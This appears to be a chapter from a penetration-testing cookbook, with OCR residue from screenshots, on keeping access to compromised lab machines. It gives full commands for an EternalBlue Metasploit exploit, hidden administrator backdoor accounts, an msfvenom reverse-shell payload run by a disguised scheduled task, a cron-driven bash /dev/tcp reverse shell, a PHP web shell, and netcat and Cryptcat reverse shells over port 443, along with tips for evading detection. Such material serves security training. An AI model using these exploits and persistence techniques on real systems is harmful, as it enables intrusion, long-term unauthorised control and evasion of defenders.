1. Open aterminal window in Kali Linux.

2. Start Metasploit as shown:

sudo msfdb run

3. Use the following to compromise your Windows VM, as also shown in the figure that

follows:

use exploit/windows/smb/ms17_010_eternalblue
set RHOST 192.168.92.5 (IP of Windows Target)
set LHOST 192.168.92.3(IP Of Kali VM)

run

msf > use exploit/windows/smb/ms17_010_eternalblue

No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf exploit( ) > set RHOST 192.168.92.5
RHOST = 192.168.92.5
msf exploit( ) > set LHOST 192.168.92.3
LHOST = 192.168.92.3
msf exploit( ) > run

Figure 13.1 - EternalBlue exploit
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This will successfully exploit the Windows target VM and open a Meterpreter session:

Meterpreter session 1 opened (192.168.92.3:4444 — 192.168.92.5:49282) at 2025-11-07
14:34:03 +0530
[+] 192.168.92.5:445 - =-
[+] 192.168.92.5:445 -

[+] 192.168.92.5:445 - =-

meterpreter > Jj

Figure 13.2 - Meterpreter session open

4. Let’s create a new user in Windows, using the following code, that will allow us to gain

access in the future, as shown in Figure 13.3:

getuid
execute -f cmd.exe -i -H -C
net user cassian passwordl23! /add

net localgroup administrators cassian /add

kali@kali: ~

Session Actions Edit View Help

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

meterpreter > execute -f cmd.exe -i -H -C

Process 3416 created.

Channel 1 created.

Microsoft Windows [Version 6.1.7601]

Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:\Windows\system32>net user cassian password123! /add
net user cassian password123! /add
The command completed successfully.

C:\Windows\system32>net localgroup administrators cassian add
net localgroup administrators cassian add
The syntax of this command is:

NET LOCALGROUP

[groupname [/COMMENT:"text"]] [/DOMAIN]
groupname {/ADD [/COMMENT:"text"] | /DELETE} [/DOMAIN]
groupname name [ ... ] {/ADD | /DELETE} [/DOMAIN]

C:\Windows\system32>net localgroup administrators cassian /add
net localgroup administrators cassian /add
The command completed successfully.

Figure 13.3 - Adding a user
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Tip

It's important to add users based on the format of the system. As an exam-
\/V ple, we used a Star Wars character as opposed to a Star Trek character, as it

would have stood out more. In reality, on a system where all the users’ logins

are first initial and last name, adding john or johndoe as opposed to jdoe

would again have stood out.

Now, let’s add persistence in case someone discovers and deletes our backdoor user, as

shown in the figure that follows:

schtasks /create /tn "SystemUpdate" /tr "cmd /c net user cassian
password123!" /sc onstart /ru System

C:\Windows\system32>schtasks /create /tn "SystemUpdate" /tr "cmd /c net user cassian pass
| word123!" /sc onstart /ru System
| schtasks /create /tn "SystemUpdate" /tr "cmd /c net user cassian passwordl23!" /sc onstar
t /ru System
SUCCESS: The scheduled task "SystemUpdate" has successfully been created.

C:\Windows\system32>]

Figure 13.4 - Windows user persistence

Tip
\@/ Here, we named our scheduled task SystemUpdate as a method to hide it if

someone were to look at the scheduled task list.

6. We can now exit the Meterpreter session and exit the terminal window.

How it works...

First, we gained initial access to a Windows system; then, we created a new user and added them

to the local administrators group. By adding the user to the administrators group, the attacker

ensures that this account has full control over the system. The attacker can then log in via RDP,

SMB, or any other enabled service to regain access without raising red flags.

See also

There is more information available regarding this attack on the following website: https://
attack.mitre.org/techniques/T1136/001/.


 https://attack.mitre.org/techniques/T1136/001/
 https://attack.mitre.org/techniques/T1136/001/
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Persisting Windows connectivity

In this recipe, you'll learn how to persistently maintain remote access to a compromised Win-
dows system by deploying a reverse shell and configuring it to automatically reconnect on system
startup. This allows an attacker to regain access without needing to re-exploit the system after

a reboot, crash, or session timeout.

Getting ready

You will need the following to complete this recipe:

e The Kali Linux VM must be up and operational

¢ The Windows Metasploitable VM must be up and operational

How to do it...
1. Open aterminal window in Kali Linux.
2. Let’screate a payload to use for persistence, as shown here and in the figure that follows:

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.92.3
LPORT=5552 -f exe -o bd.exe

kali@kali: ~

Session Actions Edit View Help

—( )-[~]

= fve -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.92.3 LPORT=5552 -f exe
-0 bd.exe

[-] No platform was selected, choosing Msf::Module:: Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload

No encoder specified, outputting raw payload

Payload size: 510 bytes

Final size of exe file: 7680 bytes

Saved as: bd.exe

Figure 13.5 - The msfvenom backdoor

3. Start Metasploit

sudo msfdb run

4. Let’s compromise our Windows VM, as shown here and in the figure that follows:

use exploit/windows/smb/ms17 010 eternalblue
set RHOST 192.168.92.5(IP of Windows Target)

set LHOST 192.168.92.3 (IP Of Kali VM)

run
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8.

msf > use exploit/windows/smb/ms17_010_eternalblue
No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf exploit( ) > set RHOST 192.168.92.5

RHOST = 192.168.92.5
msf exploi ) > set LHOST 192.168.92.3
168.92.3
> Tun

Figure 13.6 - EternalBlue exploit to compromise Windows VM
This will successfully exploit the Windows target VM and open a Meterpreter session.

Now, let’s upload the exploit and add a Windows task to the Task Manager for our Win-
dows VM:

upload bd.exe c:\\windows\\temp\\bd.exe

schtasks /create /tn "AntiVirusUpdate" /tr "c:\windows\temp\bd.exe"
/sc onstart /ru SYSTEM

You can now exit the existing session:

Let’s create a new listener, as shown here and in the figure that follows:

use exploit/multi/handler

set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.92.3

set LPORT 5552

run

meterpreter > exit
Shutting down session: 1

192.168.92.5 - Meterpreter session 1 closed. Reason: User exit
msf exploit( ) > use exploit/multi/handler
Using configured payload generic/shell_reverse_tcp
msf exploit( ) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
PAYLOAD = windows/x64/meterpreter/reverse_tcp
msf exploit( ) > set LHOST 192.168.92.3
LHOST = 192.168.92.3
msf exploit( ) > set LPORT 5552
LPORT = 5552
msf exploit( ) > run
Started reverse TCP handler on 192.168.92.3:5552

Figure 13.7 - The msf session listener

Now, just reboot your Windows VM and wait.
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Tip

\/‘/ One way to get a system to reboot is to cause the system to crash. There are
times when you may not be able to gain access and may need to force the

system to crash.

9. Once the Windows target reboots, if the listener is running, you will have a Meterpreter

shell:

LPORT = 5552

msf exploit( ) > run
Started reverse TCP handler on 192.168.92.3:5552
Sending stage (230982 bytes) to 192.168.92.5

Meterpreter session 2 opened (192.168.92.3:5552 — 192.168.92.5:49155) at 2025-11-07
14:48:32 +@530

meterpreter >

Figure 13.8 - Windows sessions created

10. Go ahead and check your authority, as shown here and in the figure that follows:

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

meterpreter > [

Figure 13.9 - getuid

11. You can now exit the session and the terminal window.

How it works...

This technique leverages the Windows Task Manager to ensure the reverse shell payload is auto-
matically executed after every system startup. By creating a scheduled task with the /sc onstart
and /ru SYSTEM options, the payload runs as soon as the machine boots. The windows target
then connects back to a listener on the Kali machine, establishing a Meterpreter session. Because
the shell runs under the SYSTEM account, it has maximum privileges. This method is effective and

difficult to detect unless active auditing of the scheduled tasks is occurring.
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See also

More information on scheduled tasks can be found athttps://attack.mitre.org/techniques/
T1053/005/ and https://www.securityblue.team/blog/posts/persistence-mechanisms-

windows-scheduled-tasks.

Creating a backdoor in Linux

In this recipe, you'll learn how to create a persistent backdoor on a Linux system by adding a new
user with root-level privileges. You will create a new user, elevate their privileges, and ensure that
they can be used later to regain control of the system without needing to re-exploitit. Thisis one

of the simplest and most direct ways to ensure long-term access to a compromised Linux machine.

Getting ready

You will need the following to complete this recipe:

e The Kali Linux VM must be up and operational

e The Ubuntu Metasploitable VM must be up and operational

How to do it...
1. Open aterminal window in Kali.

2. Start Metasploitable:

sudo msfdb run

3. Let’s gain access to our Linux machine:

use auxiliary/scanner/ssh/ssh_login
set RHOST 192.168.92.4 (Target Ubuntu Machine)
set USERNAME vagrant

set PASSWORD vagrant

run

Tip

\/V In this recipe, we are not worried about the process of initial exploitation of
the target, as we have learned how to do that in prior chapters. Therefore,

we are using a standard ssh connection for initial connectivity.


https://attack.mitre.org/techniques/T1053/005/
https://attack.mitre.org/techniques/T1053/005/
https://www.securityblue.team/blog/posts/persistence-mechanisms-windows-scheduled-tasks
https://www.securityblue.team/blog/posts/persistence-mechanisms-windows-scheduled-tasks
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4. Let’s see what session was created and connect to it, as shown in the following code and

figure:

sessions

sessions -i 2 (use whatever session number is connected)

msf auxiliary( ) > sessions

Active sessions

Id Name Type Information Connection

1 shell linux SSH root @ 192.168.92.3:33571 — 192.168.92.4:22 (192.168.92
4)

msf auxiliary( ) > sessions -i 1
Starting interaction with 1...

Figure 13.10 - Session connected

5. Let’s getasystem shell and check who we are, as shown in the following code and figure:

shell

whoami

msf auxiliary( ) > sessions -i 1
Starting interaction with 1...

shell
Trying to find binary 'python' on the target machine
Found python at /usr/bin/python

Using “python™ to pop up an interactive shell
Trying to find binary 'bash' on the target machine
Found bash at /bin/bash

1s
1s

VBoxGuestAdditions.iso
vagrantametasploitable3-ub1404:~$ whoami
whoami
vagrant
vagrant@metasploitable3-ub1404:~$ ||

Figure 13.11 - whoami

6. Let’s add a user to the Linux system that we can use in the future:

sudo adduser cassian
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Enter a username and password of password123!, and leave the rest of the options blank.

When you are asked whether the information is correct, type y:

kali@kali: ~

Session Actions Edit View Help

VBoxGuestAdditions.iso
vagrantgmetasploitable3-ub1404:~$ whoami
whoami
vagrant
vagrant@metasploitable3-ub1404:~$ sudo adduser cassian
sudo adduser cassian
Adding user “cassian' ...
Adding new group “cassian' (1000)
Adding new user “cassian' (1000) with group “cassian’
Creating home directory °/home/cassian’
Copying files from "/etc/skel’
Enter new UNIX password: password123!

Retype new UNIX password: passwordl23!

passwd: password updated successfully
Changing the user information for cassian
Enter the new value, or press ENTER for the default
Full Name []:
Room Number []:
Work Phone []:
Home Phone []:
Other []:
Is the information correct? [Y/n] Y

Y
vagrantametasploitable3-ubl1404:~$ |

Figure 13.12 - Linux adduser

7. Let’s make sure our user has root-level access, as shown in the following code and figure:

sudo usermod -aG sudo cassian

id cassian

vagrantgmetasploitable3-ub1404:~$ sudo usermod -aG sudo cassian

sudo usermod -aG sudo cassian

vagrant@metasploitable3-ub1404:~$ id cassian

id cassian

uid=1000(cassian) g¢id=1000(cassian) groups=1000(cassian),27(sudo)
vagrantametasploitable3-ub1404:~$ |

Figure 13.13 - sudo group

8. You can now exit Metasploit and close the terminal window.
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How it works...

Once a shell is obtained on a Linux system, the attacker can use native system commands to cre-
ate a new user account and assign it to the sudo or root group. This grants the new account full
administrative privileges, allowing it to execute any command or regain access at will. Because
the accountis managed through the system’s own authentication mechanisms, it doesn’t rely on
malware or external implants, making it highly persistent and stealthy. If desired, the attacker
can further enhance persistence by disguising the account name or adding a cron job or script

that re-adds the user if deleted.

See also

For more information on local accounts, check out this site: https://attack.mitre.org/
techniques/T1136/001/.

Persisting Linux connectivity

In this recipe, you’ll learn how to maintain persistent connectivity to a compromised Linux system
by installing a reverse shell script and scheduling it to run every minute using a cron job. This

ensures that we can access the system even after a reboot or session timeout.

Getting ready

You will need the following to complete this recipe:

e  The Kali Linux VM must be up and operational

¢ The Ubuntu Metasploitable VM must be up and operational

How to do it...

1. Open aterminal window in Kali.

2. Start Metasploit using the following:

sudo msfdb run

3. Let’s gain access to our Linux machine:

use auxiliary/scanner/ssh/ssh_login
set RHOST 192.168.92.4 (Target Ubuntu Machine)
set USERNAME vagrant

set PASSWORD vagrant

run



https://attack.mitre.org/techniques/T1136/001/
https://attack.mitre.org/techniques/T1136/001/
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Let’s see what we have for sessions and connect to the proper one:

sessions

sessions -i 2 (use whatever session number is connected)

Let’s get a system shell and create our backdoor shell script using the following:

shell

echo '#!/bin/bash' > /tmp/.bd.sh

echo "bash -i >& /dev/tcp/192.168.92.3/5551 0>&1" >> /tmp/.bd.sh
chmod +x /tmp/.bd.sh

We need to elevate ourselves to superuser and edit the crontab file, as shown in the fol-

lowing code and figure:

sudo su
echo "* * * * * poot /tmp/.bd.sh" >> /etc/crontab

vagrantametasploitable3-ubl1404:~$ sudo su

sudo su

rootametasploitable3-ubl4@4: /home/vagrant# echo "* %x * * % root /tmp/.bd.sh
tab

<:/home/vagrantff echo " * x * * root /tmp/.bd.sh" >> /etc/crontab
root@metasploitable3-ubl1404: /home/vagranti ]

>> /etc/cron

Figure 13.14 - Adding crontab

You can now exit Metasploit, but leave the terminal window open.

Let’s create a listener with netcat (nc) that our compromised system will connect to, as

shown in the following code and figure:

nc -lvnp 5551

listening on [any] 5551

Figure 13.15 - The netcat listener
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9. Now, we just have to wait for a connection, and within a minute, we have one:

listening on

connect to [192. 2.3] from (UNKNOWN) [192.168.92.4] 51625
root@metasploi e3-ub1404: /home/vagrant# |

Figure 13.16 - The netcat connection

10. Confirm that you are logged in as root, as shown in the following code and figure:

listening on [any] 5551

connect to [192.16 ] from (UNKNOWN) [192.168.92.4] 51625
rootimetasploitable3-ubl4@s: /home/vagrant# whoami
whoami

root
root@metasploitable3-ubl4@4: /home/vagrant# [

Figure 13.17 - Login confirmation

11. You may now close the terminal window that is running netcat.

How it works...

In this technique, a reverse shell script is created on the target, and a root-level cron job is con-
figured to call it every minute. When triggered, the script initiates a reverse connection back to
our Kali machine. Because cron operates in the background, it provides a simple and effective

method for persistent access.

See also

You can read more about persistence through scheduled tasks at https://attack.mitre.org/

techniques/T1053/003/.


https://attack.mitre.org/techniques/T1053/003/
https://attack.mitre.org/techniques/T1053/003/
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Persisting connectivity through the web

In this recipe, you will learn how to persist access to a compromised Linux web server by plant-
ing a PHP web shell. This will allow us to trigger a reverse shell connection to the Kali machine
anytime, simply by visiting a specific URL. This technique is particularly useful when the attacker
haslimited shell access but has discovered a writable web directory. It’s simple to maintain access

without needing to re-exploit the system using this technique.

Getting ready

You will need the following to complete this recipe:

e TheKali Linux VM must be up and operational

e The Ubuntu Metasploitable VM must be up and operational

How to do it...
1. Open aterminal window in Kali.

2. Let’s create a php script we can run on the remote machine to regain access to the com-

promised system:

nano bdweb2.php

<?php
exec("/bin/bash -c 'bash -I >& /dev/tcp/192.168.56.106/5553 0>&1"'");

?>

Use Ctrl + X to exit and type Y to save:

exec("/bin/bash -c '"bash -I >& /dev/tcp/192.168.92.3/5553 0>61'");
?>

Figure 13.18 - nano bdweb2.php

3. Start Metasploit:

sudo msfdb run
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4. Let’s gain access to our Linux machine:

use auxiliary/scanner/ssh/ssh_login

set RHOST 192.168.92.4 (Target Ubuntu Machine)
set USERNAME vagrant
set PASSWORD vagrant

run

5. Let’s see what we have for sessions and connect to the proper one:

sessions

sessions -i 2 (use whatever session number is connected)

6. Let’s get a system shell and upload our exploit script file, as shown in the following code

and figure:

upload bdweb2.php /var/www/uploads/bdweb2.php

msf auxiliary( ) > sessions -1 1
Starting interaction with 1...

upload bdweb2.php /var/wwmw/uploads/bdweb2.php
Error occurred while uploading <bdweb2.php> to </var/wwmv/uploads/bdweb2.php>
h file or directory @ rb_sysopen - bdweb2.php
upload bdweb2.php /var/wmw/uploads/bdweb2.php
Max line length is 65537
Writing 88 bytes in 1 chunks of 302 bytes (octal-encoded), using printf
[+] File </var/www/uploads/bdweb2.php> upload finished

Figure 13.19 - Uploading bdweb2.php

7. You can now exit Metasploit, but leave the terminal window open.

8. Startyour listener with netcat:

nc -lvnp 5553

9. Now, let’s trigger the exploit. Open Firefox and navigate to http://192.168.92.4/
uploads/bdweb2.php:

O A Not Secure 192.168.92.4

-3] Import bookmarks... OffSec KaliLinux #& Kali Tools Kali Docs ®& Kali Forums & Kali Net|

Figure 13.20 - Firefox
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10. We now have an open session where we can interact, as shown in the following code

and figure:

cd /
1s

— -~
—$ nc -lvnp 5553
listening on [any] 5553 ..
connect to [192.168.92.3] from (UNKNOWN) [192.168.92.4] 52854
cd/

bash: line 1: cd/: No such file or directory
1s

bdweb2 . php

cd /

1s

bin

boot

dev

etc

home

initrd.img

1ib

1ib64

lost+found

media

mnt

node_modules

opt

proc

root

run

sbhin

srv

sys

tmp

usr

var

vmlinuz

Figure 13.21 - New session opened

11. You can now close the terminal window.

How it works...

Web-based backdoors are scripts (typically written in PHP, ASPX, or JSP) that are placed in a di-
rectory served by a web server, allowing remote command execution when triggered via a web
request. We uploaded a PHP script to a writable directory on the target machine. We can then
visit the URL of that file, and the PHP code executes. This then opens a reverse shell back to our

netcat listener. This method provides a low-profile way to maintain access over time.
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See also

Additional Information about web shells and this recipe can be found at https://attack.mitre.
org/techniques/T1505/003/ and https://owasp.org/www-community/vulnerabilities/
Unrestricted_File_Upload.

Masquerading communications with netcat

In this recipe, you’ll learn how to establish a covert reverse shell from a compromised system by
masquerading it as legitimate HTTPS traffic. Using netcat, we will initiate a reverse shell connec-
tion from the victim machine to the attacker’s Kali system over TCP port 443. This port s typically
used for secure web traffic and is rarely blocked by firewalls. This method allows an attacker to
blend in with normal network activity while maintaining access to the target system, all without

needing any specialized or third-party tunneling tools.

Getting ready

You will need the following to complete this recipe:

e The Kali Linux VM must be up and operational
e The Ubuntu Metasploitable VM can be moved to the bridged network (optional)

e The Ubuntu Metasploitable VM must be up and operational

How to do it...

1. From Kali, open two terminal windows and position them side by side:

'Em P OF]-|

Session Actions Edit View Help Session Actions Edit View Help

)= [~] ( )-[~]

L

Figure 13.22 - Side-by-side terminal windows

2. Inthe left terminal window, start the listener:



https://attack.mitre.org/techniques/T1505/003/
https://attack.mitre.org/techniques/T1505/003/
https://owasp.org/www-community/vulnerabilities/Unrestricted_File_Upload
https://owasp.org/www-community/vulnerabilities/Unrestricted_File_Upload
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In the right terminal window, access the Metasploitable 3 VM and start the reverse shell:

ssh vagrant@172.31.51.104 (Your Metasploitable IP)

3.

4. Start the reverse shell (substitute 172.31.51.68 with your Kali IP address):

rm -f /tmp/rs; mkfifo /tmp/rs; nc 172.31.51.68 443 o</tmp/rs | /bin/
bash >/tmp/rs 2>&1

Tip
4 To put this in the background, you can add & at the end of the command,
\E/ which will automatically send it to the background:

rm -f /tmp/rs; mkfifo /tmp/rs; nc 172.31.51.68 443 o</
tmp/rs | /bin/bash >/tmp/rs 2>&1 &

5.  You will immediately receive a connection, as you will see in the left terminal window:

Session Actions Edit View Help
—( )-[~]
L ~lvp 443

listening on [any] 443
192.168.92.4: inverse host lookup failed: Unknown host
connect to [192.168.92.3] from (UNKNOWN) [192.168.92.4] 55927

[

Figure 13.23 - A netcat connection
6. In that window, run a few commands to verify access, as shown in the following code
and figure:

1s

cd /home
1s -lai
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kali@kali: ~

=[]
c -lvp 443
listening on [any] 443 ...
192.168.92.4: inverse host lookup failed: Unknown host
connect to [192.168.92.3] from (UNKNOWN) [192.168.92.4] 55927
s
ubuntu_hash
VBoxGuestAdditions.iso
cd /home
1s -lai
total 76
655361 drwxr-xr-x 19 root root 4096
2 drwxr-xr-x 23 root root 4096

659165 drwxr-xr-x
659149 drwxr-xr-x
659157 drwxr-xr-x
659177 drwxr-xr-x
917794 drwxr-xr-x
659189 drwxr-xr-x
659153 drwxr-xr-x
659161 drwxr-xr-x
659185 drwxr-xr-x
659145 drwxr-xr-x
659181 drwxr-xr-x
659169 drwxr-xr-x
659193 drwxr-xr-x
659173 drwxr-xr-x
659137 drwxr-xr-x
659141 drwxr-xr-x

anakin_skywalker users 4096

artoo_detoo users 4096 artoo_detoo
ben_kenobi users 4096 ben_kenobi
boba_fett users 4096 boba_fett
cassian cassian 4096 cassian
chewbacca users 4096 chewbacca
c_three_pio users 4096 c_three_pio
darth_vader users 4096 darth_vader
greedo users 4096 greedo
han_solo users 4096 han_solo
jabba_hutt users 4096 20 jabba_hutt
jarjar_binks users 4096 jarjar_binks
kylo_ren users 4096 kylo_ren
lando_calrissian users 4096 lando_calrissian
leia_organa users 4096 147 leia_organa
luke_skywalker users 4096 20 luke_skywalker

PR B RS R R R R R R RN LW

Figure 13.24 - The netcat shell commands

7. Youmay now exit both terminal windows.

How it works...

We used standard tools (nc and bash) to establish a reverse shell that mimics HTTPS traffic. A
connection over TCP port 443 blends in with normal encrypted web traffic, making it harder for
basic firewalls or network monitors to detect. The use of mkfifo ensures that input and output
streams are handled properly. However, netcat transmits in clear text, so anyone would be able
to see the contents of the traffic. Further, you can combine this recipe with what you learned in
the Persisting Linux connectivity recipe and use a cron job to make this persistent across logins

and reboots.

Encrypting communications with Cryptcat

In this recipe, you’ll learn how to establish a covert, encrypted reverse shell using Cryptcat. Crypt-
cat uses symmetric encryption, which helps further hide your communications. The shell will
be tunneled over TCP port 443 and will appear as legitimate HTTPS traffic, making it difficult
to detect or block. This method is especially useful when evading firewall rules and intrusion
detection systems, as it hides command-and-control communication inside what appears to be

routine web encryption.
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Getting ready

You will need the following to complete this recipe:

e  The Kali Linux VM must be up and operational
e  The Ubuntu Metasploitable VM must be moved to the bridged network

e  The Ubuntu Metasploitable VM must be up and operational

How to do it...

1. From Kali, open two terminal windows and position them side by side:

Hlm PO

Session Actions Edit View Help Session Actions Edit View Help

- [~] ( )-[~]

Figure 13.25 - Cryptcat connection

2. Inthe left terminal, verify that Cryptcat is installed:

sudo apt update

sudo apt install cryptcat

3. Now), start the Cryptcat listener:

cryptcat -k hackme -lvp 443

4. Intheright terminal window, log in to the Metasploitable machine:

ssh vagrant@172.31.51.104 (Your Metasploitable IP)

5. Cryptcat will need to be installed. Use the following:

sudo apt install cryptcat

6. Start the reverse shell (substitute 172.31.51.68 with your Kali IP address):

rm /tmp/rs; mkfifo /tmp/rs; cryptcat -k hackme 172.31.51.68 443 @</

tmp/rs | /bin/bash >/tmp/rs 2>&1
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Tip
To put this in the background, you can add & at the end of the command,

which will automatically send it to the background:

rm /tmp/rs; mkfifo /tmp/rs; cryptcat -k hackme

172.31.51.68 443 @</tmp/rs | /bin/bash >/tmp/rs 2>&1 &

7. You will immediately receive a connection in the left terminal window:

Session Actions Edit View Help

— )-[~]
ryptcat -k hackme
listening on [any] 443 ...
192 .1.41: inverse host lookup failed: Unknown host
connect to [192.168.1.38] from (UNKNOWN) [192.168.1.41] 35758

443

Figure 13.26 - Cryptcat connection

8. In that window, run a few commands to verify access, as shown in the following code

and figure:

Session Actions Edit View Help

)~ [~
L$ cryptcat -k hackme -lvp 443

listening on [any] 443 ...

192.168.1.41: inverse host lookup failed: Unknown host
connect to [192.168.1.38] from (UNKNOWN) [192.168.1.41] 35758
s

ubuntu_hash

VBoxGuestAdditions.iso

cd /home

1s -lai

total 76

655361 drwxr-xr-x 19
drwxr-xr-x 23

4096
4096

root
root

root
root

9.

659165
659149
659157
659177
917794
659189
659153
659161
659185
659145
659181
659169
659193
659173
659137

You may now exit the terminal windows.

drwxr-xr-x
drwxr-xr-x
drwxr-xr-x
drwxr-xr-x
drwxr-xr-x
drwxr-xr-x
drwxr-xr-x
drwxr-xr-x
drwxr-xr-x
drwxr-xr-x
drwxr-xr-x
drwxr-xr-x
drwxr-xr-x
drwxr-xr-x
drwxr-xr-x

WRNENRORORNRNRRNRND W W

anakin_skywalker
artoo_detoo
ben_kenobi
boba_fett
cassian
chewbacca
c_three_pio
darth_vader
greedo

han_solo
jabba_hutt
jarjar_binks
kylo_ren
lando_calrissian
leia_organa

users
users
users
users
cassian
users
users
users
users
users
users
users
users
users
users

4096
4096
4096
4096
4096
4096
4096
4096
4096
4096
4096
4096
4096
4096
4096

Nov

nakin_skywalker

0 artoo_detoo

ben_kenobi
boba_fett
cassian

0 chewbacca
0 c_three_pio

4 11:47

darth_vader
greedo

han_solo
jabba_hutt
jarjar_binks
kylo_ren
lando_calrissian
leia_organa

Figure 13.27 - Cryptcat shell command
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How it works...
Cryptcat is pretty much the same as netcat from a command structure, just with the addition
of symmetrical encryption. We were able to easily replace the prior recipe’s commands to add a

layer of encryption, making it harder to determine what is actually occurring.
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